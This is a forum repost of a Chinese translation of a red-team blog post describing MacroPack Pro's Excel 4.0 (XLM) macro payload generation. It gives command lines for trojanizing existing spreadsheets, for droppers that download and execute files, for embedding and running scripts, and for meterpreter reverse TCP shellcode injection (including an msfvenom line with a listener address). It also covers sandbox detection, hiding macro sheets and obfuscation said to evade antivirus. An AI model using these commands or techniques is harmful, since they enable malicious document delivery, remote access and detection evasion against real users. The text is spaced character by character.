搜索

[28770] 2021-02-17_MacroPackPro中的EXCEL4.0XLM宏

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-02-17_MacroPackPro中的EXCEL4.0XLM宏 M a c r o P a c k   P r o 中 的 E X C E L   4 . 0   X L M 宏 E M E R I C   N A S I   O t s 安 全   2 0 2 1 - 0 2 - 1 7 1 . 关 于 近 年 来 ， 恶 意 操 作 人 员 普 遍 使 用 E x c e l   4 . 0 宏 （ 也 称 为 X L M ） ， 并 且 一 些 研 究 人 员 （ 红 色 或 蓝 色 ） 也 对 其 进 行 了 分 析 和 评 论 。 近 年 来 ， 这 种 格 式 已 被 广 泛 使 用 ， 因 为 它 被 A V 检 测 到 的 可 能 性 较 小 ， 而 且 A M S I 不 对 其 进 行 处 理 。 我 改 进 了 M a c r o P a c k   P r o ， 以 支 持 这 些 老 式 E x c e l   4 . 0 宏 的 生 成 ， 在 本 文 中 ， 您 将 找 到 我 实 现 的 一 些 X L M 功 能 和 一 些 演 示 。 注 意 ： 注 意 ： 在 这 篇 文 章 中 ， 我 解 释 了 一 些 我 实 现 的 机 制 ， 但 是 由 于 M a c r o P a c k   P r o 的 功 能 ， 它 是 仅 用 于 合 法 使 用 的 商 业 工 具 ， 因 此 将 不 提 供 生 成 器 源 代 码 。 2 .   E X C E L   4 . 0 宏 （ X L M ） 简 介 2 . 1   X L M ？ E x c e l   4 . 0 于 1 9 9 2 年 发 布 。 它 是 根 据 基 于 表 格 中 单 元 格 中 输 入 的 指 令 的 M a c r o 系 统 发 布 的 。 它 是 我 们 称 为 E x c e l   4 . 0   M a c r o 或 X L M 的 那 些 宏 。 1 .   = A L E R T ( " H e l l o   w o r l d ! " ) 2 .   = H A L T ( ) E x c e l   5 . 0 于 1 9 9 3 年 发 布 ， 并 引 入 了 V B A 。 似 乎 令 人 难 以 置 信 ， 但 我 们 正 在 谈 论 的 是 1 9 9 2 年 以 来 的 一 项 技 术 ， 一 年 后 被 V B A 取 代 ， 在 我 撰 写 本 文 时 （ 2 0 2 0 年 9 月 ） 仍 得 到 支 持 ！ 在 过 去 的 几 年 中 ， E x c e l   4 . 0 宏 在 包 括 武 器 化 和 混 淆 在 内 的 恶 意 软 件 中 的 使 用 越 来 越 多 （ 请 查 看 l a s t l i n e . c o m 上 的 这 篇 文 章 ） 。 因 此 ， 对 于 R e d t e a m 而 言 ， 拥 有 模 拟 此 类 攻 击 的 工 具 非 常 重 要 。 关 于 安 全 研 究 人 员 ， 最 新 资 源 指 向 S t a n   H e g t   f o m   O u t f l a n k 为 D e r b y C o n   2 0 1 8 准 备 的 精 彩 文 章 。 我 强 烈 建 议 阅 读 他 的 博 客 文 章 ， 以 了 解 R e d T e a m 使 用 X L M 的 基 础 。 无 论 如 何 ， 我 将 E x c e l   4 . 0 移 植 到 M a c r o P a c k （ 仅 P r o 版 本 ） 是 合 乎 逻 辑 的 。 2 . 2 一 些 实 现 技 巧 使 用 国 际 使 用 国 际 宏 表 X L M 宏 表 就 像 常 规 的 e x c e l 表 一 样 ， 它 们 取 决 于 语 言 。 例 如 ， 这 是 A r n o 0 x   G i t h u b 的 摘 录 ， 为 法 语 版 本 的 E x c e l 实 现 了 一 些 X L M   s h e l l c o d e 注 入 。 1 .   =   R E G I S T R E （ “   K e r n e l 3 2 ”   ;   “   C r e a t e T h r e a d ”   ;   “   J J J J J J J ”   ;   “   C T h r e a d ”   ; ;   1 ;   9 ） 2 .   =   V A l l o c （ 0 ;   4 0 9 6 ;   4 0 9 6 ;   6 4 ） 3 .   =   S E L E C T I O N N E R （ B 1 ： B 5 0 ;   B 1 ） 4 .   =   P O S E R . V A L E U R （ C 1 ;   0 ） 5 .   =   T A N T . Q U E （ C E L L U L E . A C T I V E （ ） < >   “   E N D ” ） 为 了 避 免 必 须 用 每 种 语 言 实 现 有 效 载 荷 ， M a c r o P a c k 使 用 了 国 际 宏 表 ， 允 许 用 英 语 编 写 所 有 内 容 。 这 对 应 于 X l S h e e t T y p e 枚 举 类 型 的 x l E x c e l 4 I n t l M a c r o S h e e t 值 使 用 变 量 使 用 变 量 很 多 恶 意 X L M 有 效 负 载 示 例 都 不 依 赖 变 量 。 我 认 为 ， 使 用 变 量 的 代 码 更 易 于 阅 读 和 使 用 。 这 里 有 些 例 子 ： 1 .   e m p c m d = " h e l l o " 2 .   = I F ( L E N ( t a r g C e l l ) = 0 , R E T U R N ( ) , ) 3 .   c o u n t e r = 1 另 外 ， X L M 单 元 具 有 可 容 纳 的 最 大 c h a r 数 （ 2 5 5 ） ， 这 也 是 使 用 变 量 存 储 字 符 串 的 一 个 很 好 的 理 由 。 与 单 元 格 不 同 ， 变 量 不 受 大 小 限 制 （ 或 者 我 不 知 道 限 制 ） 2 . 3 使 用 M a c r o P a c k 生 成 有 效 载 荷 要 生 成 X L M 格 式 的 E x c e l 有 效 负 载 ， 请 在 命 令 行 中 添 加 — x l m 选 项 。 此 选 项 与 大 多 数 M a c r o P a c k 模 板 以 及 多 个 选 项 兼 容 。 例 如 ， 通 过 c m d 生 成 执 行 记 事 本 的 混 淆 E x c e l   X L M 有 效 内 容 ： 与 V B A 基 本 有 效 内 容 类 似 ， 您 可 以 使 用 - T （ - t r o j a n ） 选 项 对 现 有 文 档 进 行 特 洛 伊 木 马 ： 3 .   M a c r o P a c k 模 板 支 持 e c h o   “ c m d . e x e   / c   n o t e p a d . e x e ”   |   m a c r o _ p a c k . e x e   - o   - t   C M D   - - x l m   - G   t e s t . x l s e c h o   “ c m d . e x e   / c   n o t e p a d . e x e ”   |   m a c r o _ p a c k . e x e   - o   - t   C M D   - - x l m   - T   e x i s t i n g d o c . x l s x
目 前 ， X L M 选 项 仅 在 使 用 M a c r o P a c k 模 板 时 可 用 。 如 果 您 不 熟 悉 M a c r o P a c k ， 则 必 须 知 道 它 具 有 一 系 列 与 常 用 r e d t e a m 用 法 相 对 应 的 预 定 义 模 板 （ 文 件 嵌 入 ， d r o p p e r s ， s h e l l c o d e 注 入 等 ） 。 这 些 模 板 中 的 大 多 数 都 与 - x l m 选 项 兼 容 。 3 . 1 执 行 命 令 可 以 通 过 E X E C 指 令 或 使 用 w i n 3 2   A P I （ 例 如 s h e l l e x e c u t e ） 完 成 简 单 的 执 行 。 M a c r o P a c k 命 令 行 生 成 命 令 行 执 行 有 效 负 载 ： 3 . 2 下 载 并 执 行 文 件 下 一 个 滴 管 M a c r o P a c k 模 板 支 持 — x l m 选 项 ： D R O P P E R （ 下 载 并 执 行 文 件 ） D R O P P E R _ P S （ 通 过 D L L 下 载 并 执 行 P o w e r s h e l l 脚 本 ） D R O P P E R _ D L L （ 下 载 并 加 载 D L L ） 这 是 用 于 使 用 X L M 滴 管 木 马 E x c e l 工 作 表 的 命 令 行 ： e c h o   h t t p s : / / t h e . e a r t h . l i / ~ s g t a t h a m / p u t t y / l a t e s t / w 6 4 / p u t t y . e x e   |   m a c r o _ p a c k . e x e   - t   D R O P P E R   - o   - x l m - 隐 身 - T   s a m p l e s     R i s k _ M g t _ T o o l B o x _ v 1 . 0 . x l s 在 此 处 查 看 相 应 的 视 频 ： h t t p s : / / w w w . y o u t u b e . c o m / e m b e d / 5 8 b N S 5 p u _ E M   3 . 3 嵌 入 并 运 行 另 一 个 文 件 我 已 将 文 件 嵌 入 功 能 移 植 到 X L M 有 效 负 载 （ - e m b e d 选 项 ） 下 一 个 嵌 入 M a c r o P a c k 模 板 的 文 件 支 持 — x l m 选 项 ： E M B E D _ R U N （ 嵌 入 将 被 删 除 并 执 行 的 文 件 ） E M B E D _ D R O P （ 嵌 入 将 被 删 除 但 不 执 行 的 文 件 ） E M B E D _ D L L （ 嵌 入 将 被 删 除 并 加 载 的 d l l ） 在 下 面 的 示 例 中 ， 我 们 将 V B S 脚 本 嵌 入 X L M 宏 中 ， 启 用 宏 后 ， 该 脚 本 将 被 删 除 并 执 行 。 3 . 4   S h e l l c o d e 注 入 M a c r o P a c k   X L M 有 效 负 载 支 持 嵌 入 和 运 行 原 始 s h e l l c o d e （ 3 2 位 和 6 4 位 ） 。 我 想 指 出 S h e l l c o d e 注 入 X L M 功 能 的 多 个 公 共 实 现 中 的 问 题 。 S h e l l c o d e 通 常 编 码 为 一 列 （ 每 个 单 元 2 5 5 字 节 ） 。 然 后 使 用 =   S E L E C T 运 算 符 选 择 此 列 ， 然 后 通 过 A C T I V E . C E L L （ ） 引 用 选 定 的 单 元 格 。 问 题 是 该 机 制 与 隐 藏 的 宏 表 不 兼 容 。 因 此 ， 对 于 M a c r o P a c k ， 我 使 用 了 一 个 命 名 变 量 来 指 向 当 前 的 s h e l l c o d e 单 元 。 从 M a c r o P a c k 有 效 负 载 中 提 取 ： 1 .   c o l P o i n t   =   E 1 - >   E 1   i s   s h e l l c o d e   c o l u m n 2 .   l i n e C p t   =   0 3 .   =   W H I L E （ L E N （ c o l P o i n t ） < >   0 ） 这 是 用 于 使 用 X L M 加 载 m e t e r p r e t e r 反 向 T C P 原 始 s h e l l c o d e 来 木 马 E x c e l 工 作 表 的 命 令 行 ： 看 看 下 面 的 视 频 ， 看 看 它 是 如 何 运 行 的 ： h t t p s : / / w w w . y o u t u b e . c o m / e m b e d / 5 8 b N S 5 p u _ E M   与 基 于 V B A   /   V B S 的 有 效 负 载 类 似 ， X L M 选 项 支 持 大 的 原 始 S h e l l c o d e 。 例 如 ， M a c r o P a c k 可 用 于 生 成 有 效 载 荷 ， 该 有 效 载 荷 在 内 存 中 运 行 m e t e r p r e t e r 无 阶 段 s h e l l c o d e （ 1 7 7 k o ） 。 注 意 ： 注 意 ：   X L M 字 符 串 操 作 会 将 N U L L 字 符 视 为 字 符 串 结 尾 。 请 记 住 从 原 始 s h e l l c o d e 中 删 除   x 0 0   c h a r 。 例 如 ， 要 创 建 不 带 N U L L 字 符 的 反 向 T C P   M e t e r p r e t e r 有 效 负 载 ： 3 . 5 其 他 模 板 还 支 持 其 他 模 板 ， 例 如 运 行 嵌 入 式 E m p i r e   p o w e r s h e l l 平 台 的 E M P I R E 。 我 不 希 望 这 篇 文 章 太 长 ， 所 以 我 不 介 绍 这 些 内 容 ， 但 是 您 可 以 随 时 向 我 询 问 。 4 . 一 些 安 全 绕 过 功 能 e c h o   " c a l c . e x e "   |   m a c r o _ p a c k . e x e   - t   C M D   - G   r u n c a l c . x l s   - - x l m m a c r o _ p a c k . e x e   - t   E M B E D _ R U N   - - e m b e d = s o m e t h i n g . v b s   - o   - G   e m b e d _ r u n . x l s   - - x l m e c h o   m e t e r x 8 6 _ n o 0 . b i n   |   m a c r o _ p a c k . e x e   - t   S H E L L C O D E   - o   - - x l m   - - s t e a l t h   - T   s a m p l e s R i s k _ M g t _ T o o l B o x _ v 1 . 0 . x l s x m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L P O R T = 5 5 5 5   L H O S T = 1 9 2 . 1 6 8 . 5 6 . 1   - f   r a w     - b   ' x 0 0 '     - o   m e t e r x 8 6 _ n o 0 . b i n
4 . 1 一 些 反 反 转 沙 箱 检 测 沙 箱 检 测 我 添 加 了 基 本 的 沙 箱 检 测 功 能 ， 例 如 使 用 =   G E T . W O R K S P A C E （ 2 6 ） 查 找 用 户 名 ， 我 还 通 过 环 境 变 量 查 看 处 理 器 的 数 量 。 将 来 有 多 种 改 进 途 径 。 隐 藏 宏 表 隐 藏 宏 表 默 认 情 况 下 ， 当 您 添 加 X L M 宏 表 时 ， E x c e l 表 单 中 会 出 现 一 个 “ 宏 ” 选 项 卡 ， 该 选 项 卡 不 是 很 谨 慎 。 如 果 使 用 “ - s t e a l t h ” 选 项 ， M a c r o P a c k 将 隐 藏 通 过 设 置 宏 表 可 见 ， 以 参 数 x l S h e e t V e r y H i d d e n 。 在 M i c r o s o f t 文 档 x l S h e e t V e r y H i d d e n 上 ， 您 可 以 阅 读 ： “ 隐 藏 对 象 ， 以 便 使 该 对 象 再 次 可 见 的 唯 一 方 法 是 将 该 属 性 设 置 为 T r u e （ 用 户 无 法 使 该 对 象 可 见 ） 。 ” 混 淆 混 淆 我 为 X L M 负 载 添 加 了 一 些 代 码 混 淆 。 我 试 图 研 究 研 究 人 员 或 恶 意 软 件 编 写 者 的 现 有 公 共 混 淆 方 法 ， 但 是 这 些 方 法 通 常 由 W i n d o w s   D e f e n d e r 检 测 到 （ 当 没 有 明 文 有 效 负 载 时 ） 。 我 最 终 实 现 了 自 己 的 混 淆 机 制 ， D e f e n d e r 和 我 测 试 的 大 多 数 A V 都 没 有 检 测 到 这 种 混 淆 机 制 。 注 意 ： 注 意 ： 关 于 混 淆 ， 似 乎 一 般 A V 在 检 测 明 文 X L M 有 效 载 荷 方 面 非 常 不 好 ， 但 是 对 于 混 淆 的 X L M 或 V B A   /   V B S 有 一 些 检 测 方 法 。 我 认 为 对 于 时 间 较 短 的 R e d t e a m e r 来 说 ， 实 现 许 多 反 反 转 功 能 可 能 并 不 是 一 件 令 人 费 解 的 事 情 ， 而 是 希 望 尽 快 获 得 成 功 并 确 保 绕 过 A V 。 因 此 ， 有 时 有 时 未 混 淆 的 有 效 负 载 会 更 好 。 这 只 是 个 人 想 法 ， 请 告 诉 我 您 对 此 有 何 看 法 ; ） 。 4 . 2   X L M 注 入 我 实 现 的 一 种 非 常 好 的 机 制 称 为 X L M 注 入 。 它 允 许 从 非 E x c e l 格 式 的 有 效 负 载 （ 例 如 W o r d ， H T A ， 帮 助 文 件 等 ） 注 入 并 运 行 内 存 中 的 E x c e l   4 . 0 宏 。 这 个 功 能 很 复 杂 ， 我 专 门 为 此 专 门 撰 写 了 另 一 篇 文 章 。 5 . 总 结 我 很 高 兴 终 于 在 M a c r o P a c k 中 添 加 了 X L M 支 持 。 它 与 M P   P r o 的 2 . 0 . 0 版 本 一 起 发 布 。 本 文 翻 译 自 ： h t t p s : / / b l o g . s e v a g a s . c o m / ? E X C E L - 4 - 0 - X L M - m a c r o - i n - M a c r o P a c k - P r o 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理